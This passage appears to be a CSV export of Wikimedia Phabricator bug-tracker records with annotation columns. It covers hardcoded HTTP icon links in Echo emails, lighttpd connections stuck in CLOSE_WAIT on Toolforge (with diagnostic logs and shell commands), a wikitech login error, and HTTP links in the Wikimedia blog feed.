+@Andrew: If this isn't correct, or if you need a second set of eyes on things, just let me know.",,,1436375163,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-p5d7qq6yb5f7w246wdhj,task_subcomment,,True,c3,3,True,,,0,True,1,1,0,0,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,1,0,1,0,1,0,1,1,1,0,1,0,0,1,0,0,1,1,1,1,1,0,0,0,1,1,1,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,1,1,0,1,1,1,1,0,0,1
+104835,Echo email icons are hardcoded HTTP,"```
+		// Use http for image path, there is no need for https
+		return wfExpandUrl( $iconUrl, PROTO_HTTP );
+```
+
+Should use PROTO_CANONICAL instead.
+",High,80.0,1436177182,1436206418.0,PHID-USER-v7vgzvvcw7v2umf737ri,False,PHID-USER-v7vgzvvcw7v2umf737ri,False,PHID-TASK-dxtwzdqftpqvlovzxzei,task_description,resolved,True,c3,3,True,True,True,0,True,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+487173,Echo email icons are hardcoded HTTP,"Change 223006 merged by jenkins-bot:
+Use PROTO_CANONICAL for icon links in emails
+
+[[https://gerrit.wikimedia.org/r/223006]]",,,1436199036,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dxtwzdqftpqvlovzxzei,task_subcomment,,True,c3,3,False,,,0,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+486974,Echo email icons are hardcoded HTTP,"Change 223006 had a related patch set uploaded (by Legoktm):
+Use PROTO_CANONICAL for icon links in emails
+
+[[https://gerrit.wikimedia.org/r/223006]]
+",,,1436177378,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dxtwzdqftpqvlovzxzei,task_subcomment,,True,c3,3,False,,,0,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+104799,lighttpd does not correctly close connections (CLOSE_WAIT),"This happened for croptool on 5 jul 2015:
+
+Last lines in error.log:
+```
+[2015-07-05 03:34:03] exiftool.INFO: Exiftool executes command /data/project/croptool/vendor/phpexiftool/exiftool/exiftool -overwrite_original -quiet -TagsFromFile '/data/project/croptool/public_html//files/c1ba468a60b8a2fdbe02cdd36721d9fedf2f8835.jpg' -all:all '/data/project/croptool/public_html//files/c1ba468a60b8a2fdbe02cdd36721d9fedf2f8835_cropped.jpg' [] []
+2015-07-05 11:48:57: (server.c.1398) [note] sockets disabled, connection limit reached
+```
+
+Last lines in access.log:
+```
+10.68.17.145 tools.wmflabs.org - [05/Jul/2015:07:10:04 +0000] ""GET /croptool/backend.php?action=exists&site=commons.wikimedia.org&title=Florazolam%20(cropped).jpg HTTP/1.1"" 200 62 ""https://tools.wmflabs.org/croptool/?title=Florazolam.jpg"" ""Mozilla/5.0 (X11; Linux i686; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.7.0""
+10.68.17.145 tools.wmflabs.org - [05/Jul/2015:07:12:38 +0000] ""HEAD /croptool/ HTTP/1.1"" 200 0 ""-"" ""Mozilla/5.0+(compatible; UptimeRobot/2.0; http://www.uptimerobot.com/)""
+10.68.17.145 tools.wmflabs.org - [05/Jul/2015:07:16:45 +0000] ""GET /croptool/ HTTP/1.1"" 200 21933 ""-"" ""Domain Re-Animator Bot (http://domainreanimator.com) - support@domainreanimator.com""
+10.68.17.145 tools.wmflabs.org - [05/Jul/2015:07:17:38 +0000] ""HEAD /croptool/ HTTP/1.1"" 200 0 ""-"" ""Mozilla/5.0+(compatible; UptimeRobot/2.0; http://www.uptimerobot.com/)""
+10.68.17.145 tools.wmflabs.org - [05/Jul/2015:07:22:38 +0000] ""HEAD /croptool/ HTTP/1.1"" 200 0 ""-"" ""Mozilla/5.0+(compatible; UptimeRobot/2.0; http://www.uptimerobot.com/)""
+```
+
+Note that the 'connection limit reached' message is way later than any requests in access.log.
+
+There's a whole set of connections to the proxy open:
+```
+tcp        1      0 tools-webgrid-lighttpd-1210.tools.eqiad.wmflabs:56235 tools-webproxy-02.tools.eqiad.wmflabs:41828 CLOSE_WAIT  tools.croptool 17100020
+tcp        1      0 tools-webgrid-lighttpd-1210.tools.eqiad.wmflabs:56235 tools-webproxy-02.tools.eqiad.wmflabs:56003 CLOSE_WAIT  tools.croptool 17135240
+tcp        1      0 tools-webgrid-lighttpd-1210.tools.eqiad.wmflabs:56235 tools-webproxy-02.tools.eqiad.wmflabs:33872 CLOSE_WAIT  tools.croptool 17084311
+tcp        1      0 tools-webgrid-lighttpd-1210.tools.eqiad.wmflabs:56235 tools-webproxy-02.tools.eqiad.wmflabs:54753 CLOSE_WAIT  tools.croptool 17150293
+tcp        1      0 tools-webgrid-lighttpd-1210.tools.eqiad.wmflabs:56235 tools-webproxy-02.tools.eqiad.wmflabs:44893 CLOSE_WAIT  tools.croptool 17129109
+```
+
+So this suggests either someone keeping the connection open, or the webproxy misbehaving and doing that. 
+
+```
+$ sudo netstat -e -v -W 2>/dev/null | grep croptool | grep proxy | cut -b146- > croptools-inodes
+$ for i in `cat croptools-inodes`; do sudo find /proc/6703/fd -lname ""socket:\[$i\]"" -printf %A@; echo; done > croptools-timestamps
+$ for i in `cat croptools-timestamps`; do date ""+%d/%b/%Y:%H:%M:%S"" --date=""@$i""; done > croptools-formatteddates
+```
+
+Strangely enough, most of the connections seem to be later than the last access.log entry, /and/ they seem to be batched:
+```
+$ cat croptools-formatteddates | sort | uniq -c
+      1 04/Jul/2015:23:09:01
+     15 05/Jul/2015:07:39:01
+     31 05/Jul/2015:08:09:01
+     66 05/Jul/2015:09:09:01
+     54 05/Jul/2015:10:09:01
+     38 05/Jul/2015:10:39:01
+     37 05/Jul/2015:11:09:01
+     35 05/Jul/2015:11:39:01
+     22 05/Jul/2015:11:58:34
+```
+
+with a whole batch of connections every half-hour.
+
+Tools-webproxy-02 doesn't seem to see this connection, though, so I'm a bit at a loss to what's happening here.
+
+Restarting the webservice solved the issue.
+
+
+
+Using
+```
+#!/bin/bash
+for i in `qconf -sel | grep webgrid`
+do
+    echo $i
+    echo --------------------
+    ssh $i ""sudo netstat -e -v -W 2>/dev/null | grep CLOSE_WAIT | sed -e 's/.*CLOSE_WAIT\s*//' | cut -d' ' -f1 | sort | uniq -c""
+    echo --------------------
+    echo
+done
+```
+
+we see a few servers have a few (<=5) connections open, which is probably just actual traffic. However, two tools have large amounts of open connections:""
+
+```
+tools-webgrid-lighttpd-1402.eqiad.wmflabs
+--------------------
+    103 tools.blockcalc
+--------------------
+(...)
+tools-webgrid-lighttpd-1408.eqiad.wmflabs
+--------------------
+    150 tools.geohack
+--------------------
+```",High,80.0,1436098763,1578173486.0,PHID-USER-muirnivxp5hzppn2a3z7,False,PHID-USER-ll6tmaogat2b5q7tnqas,False,PHID-TASK-uvni3co3ik2xd2bwzqu6,task_description,resolved,True,c3,3,True,False,False,0,True,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1
+1419252,lighttpd does not correctly close connections (CLOSE_WAIT),We are using lighttpd/1.4.45 on the job grid as of https://wikitech.wikimedia.org/wiki/News/Toolforge_Trusty_deprecation,,,1578173486,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-uvni3co3ik2xd2bwzqu6,task_subcomment,,True,c3,3,True,,,235,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0
+795583,lighttpd does not correctly close connections (CLOSE_WAIT),">>! In T104799#2960502, @gstrauss-wiki wrote:
+> Alternatively, you can use Debian packages from stbuehler (another lighttpd maintainer)
+> https://build.opensuse.org/package/show/home:stbuehler:lighttpd-1.4.x-nightlies/lighttpd
+
+Unfortunately, tool labs doesn't use debs from those sources; please see [[https://wikitech.wikimedia.org/wiki/Nova_Resource:Tools/Admin#Local_package_policy|local package policy]].
+
+Backporting `sid` sounds more likely.",,,1485155476,,PHID-USER-6dmbpidylyt4dzsxzjg4,False,,,PHID-TASK-uvni3co3ik2xd2bwzqu6,task_subcomment,,True,c3,3,True,,,81,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,1,1,0,0,1,1,1,0,0,1,1,1,0,0,0,1,1,0,1
+795578,lighttpd does not correctly close connections (CLOSE_WAIT),"FYI: lighttpd 1.4.45 is in sid unstable
+https://buildd.debian.org/status/package.php?p=lighttpd&suite=sid
+and should be in stretch in another week or so.
+
+lighttpd 1.4.45 is on target to be part of the next Debian major release.
+
+Alternatively, you can use Debian packages from stbuehler (another lighttpd maintainer)
+https://build.opensuse.org/package/show/home:stbuehler:lighttpd-1.4.x-nightlies/lighttpd",,,1485154870,,PHID-USER-ypnc6tzwywec5h3zaegy,False,,,PHID-TASK-uvni3co3ik2xd2bwzqu6,task_subcomment,,True,c3,3,False,,,81,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+722563,lighttpd does not correctly close connections (CLOSE_WAIT),"That's great news! Unfortunately, debian is not bundling 1.4.40 yet, even in `sid` , so we will have to wait for that to happen, unless we find the time to build-and-test packages ourselves...",,,1473002943,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-uvni3co3ik2xd2bwzqu6,task_subcomment,,True,c3,3,True,,,61,True,0,0,0,0,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0
+695761,lighttpd does not correctly close connections (CLOSE_WAIT),"FYI: lighttpd 1.4.40 (released yesterday) addresses ""lighttpd does not correctly close connections (CLOSE_WAIT)"" and has more robust connection handling and cleanup, as well as detection and propagation of client aborts.",,,1468737832,,PHID-USER-ypnc6tzwywec5h3zaegy,False,,,PHID-TASK-uvni3co3ik2xd2bwzqu6,task_subcomment,,True,c3,3,False,,,54,True,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0
+596379,lighttpd does not correctly close connections (CLOSE_WAIT),"This killed erwin85 tools today.
+
+```
+2016-01-21 18:47:39: (log.c.166) server started
+2016-01-21 19:31:10: (log.c.166) server started
+2016-01-21 19:31:44: (server.c.1512) server stopped by UID = 0 PID = 23274
+2016-01-21 19:47:57: (server.c.1512) server stopped by UID = 0 PID = 3845
+/usr/local/bin/lighttpd-starter: line 41: /var/run/lighttpd/erwin85.conf~: Permission denied
+/usr/local/bin/lighttpd-starter: line 88: /var/run/lighttpd/erwin85.conf~: Permission denied
+/usr/local/bin/lighttpd-starter: line 96: /var/run/lighttpd/erwin85.conf~: Permission denied
+mv: accessing `/var/run/lighttpd/erwin85.conf': Permission denied
+2016-01-21 19:47:59: (configfile.c.958) opening configfile  /var/run/lighttpd/erwin85.conf failed: Permission denied
+/usr/local/bin/lighttpd-starter: line 41: /var/run/lighttpd/erwin85.conf~: Permission denied
+/usr/local/bin/lighttpd-starter: line 88: /var/run/lighttpd/erwin85.conf~: Permission denied
+/usr/local/bin/lighttpd-starter: line 96: /var/run/lighttpd/erwin85.conf~: Permission denied
+mv: accessing `/var/run/lighttpd/erwin85.conf': Permission denied
+[...]
+2016-01-21 22:02:41: (configfile.c.958) opening configfile  /var/run/lighttpd/erwin85.conf failed: Permission denied
+/usr/local/bin/lighttpd-starter: line 41: /var/run/lighttpd/erwin85.conf~: Permission denied
+/usr/local/bin/lighttpd-starter: line 88: /var/run/lighttpd/erwin85.conf~: Permission denied
+/usr/local/bin/lighttpd-starter: line 96: /var/run/lighttpd/erwin85.conf~: Permission denied
+mv: accessing `/var/run/lighttpd/erwin85.conf': Permission denied
+2016-01-21 22:13:38: (configfile.c.958) opening configfile  /var/run/lighttpd/erwin85.conf failed: Permission denied
+2016-01-21 22:14:12: (log.c.166) server started
+2016-01-25 02:26:36: (server.c.1398) [note] sockets disabled, connection limit reached
+2016-01-25 11:28:29: (server.c.1512) server stopped by UID = 0 PID = 19052
+2016-01-25 11:28:32: (log.c.166) server started
+```
+
+Nothing suspicious happened at the time:
+```
+10.68.21.49 tools.wmflabs.org - [24/Jan/2016:21:00:20 +0000] ""GET /erwin85/randomarticle.php?lang=en&family=wikipedia&categories=Physics HTTP/1.1"" 302 3283 ""-"" ""Faraday v0.8.9""
+10.68.21.49 tools.wmflabs.org - [25/Jan/2016:01:58:44 +0000] ""GET /erwin85 HTTP/1.1"" 301 0 ""-"" ""Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)""
+10.68.21.49 tools.wmflabs.org - [25/Jan/2016:02:26:10 +0000] ""GET /erwin85/css/Tool.css HTTP/1.1"" 200 235 ""-"" ""Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)""
+```
+
+Yahoo and Google crawlers driving the webservers crazy?",,,1453721843,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-uvni3co3ik2xd2bwzqu6,task_subcomment,,True,c3,3,True,,,29,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,1,0,0,1,0,0,1
+588216,lighttpd does not correctly close connections (CLOSE_WAIT),"fwiw, this seems to be a fairly regular occurrence for some tools. I grepped all error.logs for ""connection limit reached"", and these tools seem to be regulars:
+
+```
+    263 _data_project_catscan2_error.log.conlim
+    878 _data_project_joanjoc_error.log.conlim
+   6323 _data_project_geohack_error.log.conlim
+   7457 _data_project_persondata_error.log.conlim
+   9226 _data_project_spellcheck_error.log.conlim
+```
+
+Although not all of them have recent issues. 
+",,,1452464496,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-uvni3co3ik2xd2bwzqu6,task_subcomment,,True,c3,3,True,,,27,True,1,0,0,0,1,1,1,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,1,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,1,0,0,0,0
+588204,lighttpd does not correctly close connections (CLOSE_WAIT),"The seven-year-old issue http://redmine.lighttpd.net/issues/1829 might actually be the same one. I think I ignored it last time (because it's 7 years old), but we are actually running lighttpd 1.4.19 on tool labs.
+
+One simple test that gives me somewhat comparable behavior is a php sleep, with the client disconnecting. That gives me a CLOSE_WAIT until php returns from the sleep(). Could it be that there are php processes in the background waiting for something? e.g. a slow database query?
+
+An idea would be to enable mod_status to check in what state lighttpd thinks the connection is.",,,1452461998,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-uvni3co3ik2xd2bwzqu6,task_subcomment,,True,c3,3,True,,,27,True,0,1,0,0,0,1,1,1,0,0,1,1,0,1,1,1,1,1,1,1,1,0,0,0,1,0,0,0,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,1,1,1,1,0,0,0
+588202,lighttpd does not correctly close connections (CLOSE_WAIT),This happened for tools.meta today.,,,1452461023,,PHID-USER-s2qdnwktshsvjwhpuhee,False,,,PHID-TASK-uvni3co3ik2xd2bwzqu6,task_subcomment,,True,c3,3,False,,,27,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1
+554730,lighttpd does not correctly close connections (CLOSE_WAIT),Happened for tools.wikidata-game today.,,,1446133736,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-uvni3co3ik2xd2bwzqu6,task_subcomment,,True,c3,3,True,,,17,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+500909,lighttpd does not correctly close connections (CLOSE_WAIT),"Note that I enabled https://tools.wmflabs.org/croptool/server-statistics . When the same problem occured six days ago, the status page was still accessible and showed > 200 'fastcgi.active-requests'. 
+
+So I added a small script that checks the value of 'fastcgi.active-requests' every minute. If the number exceeds 150, it restarts the server and writes a log entry (to 'check-server.log'). No new anomalies since then.",,,1438544943,,PHID-USER-53x4y44yt43qjivfzsqf,False,,,PHID-TASK-uvni3co3ik2xd2bwzqu6,task_subcomment,,True,c3,3,False,,,4,True,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,1,1,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,0,1,0,1,1,1,1,0,0,0,0,1
+492687,lighttpd does not correctly close connections (CLOSE_WAIT),"Strange. Same problem today. 298 CLOSE_WAIT connections at tools-webgrid-lighttpd-1206.eqiad.wmflabs
+
+```
+tcp        1      0 tools-webgrid-lighttpd-1206.tools.eqiad.wmflabs:41146 tools-webproxy-02.tools.eqiad.wmflabs:37825 CLOSE_WAIT  tools.croptool 26528931
+tcp        1      0 tools-webgrid-lighttpd-1206.tools.eqiad.wmflabs:41146 tools-webproxy-02.tools.eqiad.wmflabs:53480 CLOSE_WAIT  tools.croptool 26538356
+tcp        1      0 tools-webgrid-lighttpd-1206.tools.eqiad.wmflabs:41146 tools-webproxy-02.tools.eqiad.wmflabs:56666 CLOSE_WAIT  tools.croptool 26538419
+```
+and equally many
+
+```
+unix  3      [ ]         STREAM     CONNECTING    0        /tmp/php.socket.croptool-0
+unix  3      [ ]         STREAM     CONNECTING    0        /tmp/php.socket.croptool-1
+unix  3      [ ]         STREAM     CONNECTING    0        /tmp/php.socket.croptool-0
+```
+Restart helped.",,,1437080992,,PHID-USER-53x4y44yt43qjivfzsqf,False,,,PHID-TASK-uvni3co3ik2xd2bwzqu6,task_subcomment,,True,c3,3,False,,,2,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1
+486733,lighttpd does not correctly close connections (CLOSE_WAIT),"The nginx/webproxy log doesn't help too much. I think the dates/times mentioned above might just be wrong (I based the find on https://superuser.com/questions/565991/how-to-determine-the-socket-connection-up-time-on-linux)
+
+As for the socket state,
+""CLOSE_WAIT means that the local end of the connection has received a FIN from the other end, but the OS is waiting for the program at the local end to actually close its connection."" 
+
+so that suggests this is lighttpd forgetting to close connections? not sure...",,,1436099716,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-uvni3co3ik2xd2bwzqu6,task_subcomment,,True,c3,3,True,,,0,True,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,0,1,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,0,0,1,1,1,0,0,1,0,1,0,1,0,0,1,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,1,0,1,0,1,0,0,0
+104759,"Cannot login to wikitech: ""Login error""","When logging in from https://wikitech.wikimedia.org/w/index.php?title=Special:UserLogin&returnto=Main+Page, expected: login successful
+Actual results: ""Login error Wikitech uses cookies to log in users. You have cookies disabled. Please enable them and try again""
+
+Logging in to other production wikis are fine. ",High,80.0,1435995369,1435996233.0,PHID-USER-6dmbpidylyt4dzsxzjg4,False,PHID-USER-6dmbpidylyt4dzsxzjg4,False,PHID-TASK-sqkuearomydbhdxwpwzd,task_description,duplicate,True,c3,3,True,True,True,0,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,1,1,0,1,1,0,0,0
+486482,"Cannot login to wikitech: ""Login error""",same here. (=confirmed),,,1435995985,,PHID-USER-nuf2sujf7qrx4v5ixbs3,False,,,PHID-TASK-sqkuearomydbhdxwpwzd,task_subcomment,,True,c3,3,False,,,0,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+104726,blog rss feed links to HTTP (cleartext) blog posts even when feed fetched over HTTPS,"blog rss feed links to HTTP (cleartext) blog posts even when feed fetched over HTTPS.
+
+https://blog.wikimedia.org/feed/",High,80.0,1435949766,1580868354.0,PHID-USER-7ey733eainlhx5xqp4d3,False,PHID-USER-tbsqok4i4d2fpoef36s2,False,PHID-TASK-7kwdiqzwj274sx4nrksn,task_description,declined,True,c3,3,False,False,False,0,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0
+1435879,blog rss feed links to HTTP (cleartext) blog posts even when feed fetched over HTTPS,This site has been closed and is no longer being actively developed.,,,1580868354,,PHID-USER-tbsqok4i4d2fpoef36s2,False,,,PHID-TASK-7kwdiqzwj274sx4nrksn,task_subcomment,,True,c3,3,True,,,239,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0
+714518,blog rss feed links to HTTP (cleartext) blog posts even when feed fetched over HTTPS,"https://blog.wikimedia.org/feed/ links look maybe fixed but some other
+things need fixing too. just search the feed for `http://`
+
+bottom line is we shouldn't be sending feedreaders nor people actively
+browsing to fetch HTTP resources.
+
+* enclosures/thumbs/images/etc. all seem to mostly be HTTP (for a variety of domains including the wordpress image host and also upload.wm.o)
+** btw, evan amos has 118 enclosures for the same content??
+** and https://blog.wikimedia.org/2016/08/16/wikipedia-portal-update/ also has quite a few duplicate enclosures. why would one be ogg and the other is webm? ogg gets an inaccurate `type=""audio/ogg""` in the feed.
+* `<guid isPermaLink=""false"">http://blog.wikimedia.org/?p=48216</guid>`, not sure how big a deal this is, fixing it might make existing subscribers get duplicate stories?",,,1471635967,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-7kwdiqzwj274sx4nrksn,task_subcomment,,True,c3,3,False,,,59,True,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,1,0,1,0,1,0,0,0,0,1,0,0,0,1,1,0,1,1,1,0,0,1,1,1,0,0,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,0,0,1
+714513,blog rss feed links to HTTP (cleartext) blog posts even when feed fetched over HTTPS,"https://blog.wikimedia.org/feed/ links look maybe fixed but some other
+things need fixing too. just search the feed for ""http://""
+
+bottom line is we shouldn't be sending feedreaders nor people actively
+browsing to fetch HTTP resources.
+
+* enclosures/thumbs/images/etc. all seem to mostly be HTTP (for a
+variety of domains including the wordpress image host and also
+upload.wm.o)
+** btw, evan amos has 118 enclosures for the same content??
+** and https://blog.wikimedia.org/2016/08/16/wikipedia-portal-update/
+also has quite a few duplicate enclosures. why would one be ogg and
+the other is webm? ogg gets an inaccurate type=""audio/ogg"" in the
+feed.
+* <guid isPermaLink=""false"">http://blog.wikimedia.org/?p=48216</guid>,
+not sure how big a deal this is, fixing it might make existing
+subscribers get duplicate stories?",,,1471635667,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-7kwdiqzwj274sx4nrksn,task_subcomment,,True,c3,3,False,,,59,True,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,1,0,1,0,1,0,0,0,0,1,0,0,0,1,1,0,1,1,1,0,0,1,1,1,0,0,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,0,0,1
+714502,blog rss feed links to HTTP (cleartext) blog posts even when feed fetched over HTTPS,Looks fixed to me as well; resolving. :-),,,1471634138,,PHID-USER-tafu2uuupsf2oupzja23,False,,,PHID-TASK-7kwdiqzwj274sx4nrksn,task_subcomment,,True,c3,3,True,,,59,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0
+655077,blog rss feed links to HTTP (cleartext) blog posts even when feed fetched over HTTPS,It looks to me like the main problem was solved. We might be able to close this...,,,1462200661,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-7kwdiqzwj274sx4nrksn,task_subcomment,,True,c3,3,True,,,43,True,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0
